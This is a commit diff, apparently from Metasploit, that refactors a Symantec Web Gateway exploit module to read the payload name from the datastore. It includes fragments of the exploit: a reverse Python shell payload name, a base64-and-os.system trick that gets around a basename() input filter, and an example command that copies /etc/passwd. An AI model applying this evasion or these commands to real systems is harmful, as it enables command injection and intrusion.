Skip to content

Commit 4a1fbbd

Browse files
committed
Use datastore to find payload name
1 parent ef9196b commit 4a1fbbd

File tree

1 file changed

+1
-13
lines changed

1 file changed

+1
-13
lines changed

modules/exploits/linux/http/symantec_web_gateway_restore.rb

Lines changed: 1 addition & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -140,7 +140,7 @@ def build_payload
140140
# * cmd/unix/reverse_python_ssl
141141
p = payload.encoded
142142

143-
case current_payload_name
143+
case datastore['PAYLOAD']
144144
when /cmd\/unix\/generic/
145145
# Filter that one out, Mr. basename()
146146
p = Rex::Text.encode_base64("import os ; os.system('#{Rex::Text.encode_base64(p)}'.decode('base64'))")
@@ -218,18 +218,6 @@ def save_cred(username, password)
218218
create_credential_login(login_data)
219219
end
220220

221-
def current_payload_name
222-
# pinst is a protected method so modules should not access it like this.
223-
# But command injection is sort of unfriendly because the vulnerable PHP file filters out our
224-
# input with a basename() function. So for example if you do cat /etc/passwd > /tmp/data.txt,
225-
# your command won't work. To get around that, we need to Base64 the command, and let Python do
226-
# the work. But to do this, I have to know if the user is actually using the cmd/unix/generic or not.
227-
# One of the downsides I am aware of is that if this payload's fullname is changed due to whatever
228-
# reason, the support can break (but the user still at least should be able to use the reverse
229-
# python shell).
230-
payload.send(:pinst).fullname
231-
end
232-
233221
def exploit
234222
print_status("Getting the PHPSESSID...")
235223
sid = get_sid

0 commit comments

Comments
 (0)